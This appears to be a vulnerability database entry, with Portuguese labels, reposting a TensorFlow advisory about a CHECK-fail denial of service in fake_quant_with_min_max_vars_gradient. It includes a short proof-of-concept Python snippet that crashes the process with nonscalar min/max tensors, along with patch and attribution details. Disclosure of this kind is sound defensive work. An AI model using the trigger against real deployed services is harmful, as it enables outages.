PT-2026-59850 · Pypi · Tensorflow
Publicado
2026-07-13
·
Atualizado
2026-07-13
CVSS v3.1
5.9
Média
| Vetor | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
When
tf.quantization.fake quant with min max vars gradient receives input min or max that is nonscalar, it gives a CHECK fail that can trigger a denial of service attack.python
import tensorflow as tf
import numpy as np
arg 0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg 1=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg 2=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg 3=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg 4=8
arg 5=False
arg 6=''
tf.quantization.fake quant with min max vars gradient(gradients=arg 0, inputs=arg 1,
min=arg 2, max=arg 3, num bits=arg 4, narrow range=arg 5, name=arg 6)Patches
We have patched the issue in GitHub commit f3cf67ac5705f4f04721d15e485e192bb319feed.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by
- 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology
- Neophytos Christou, Secure Systems Labs, Brown University
Correção
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Identificadores relacionados
Produtos afetados
Tensorflow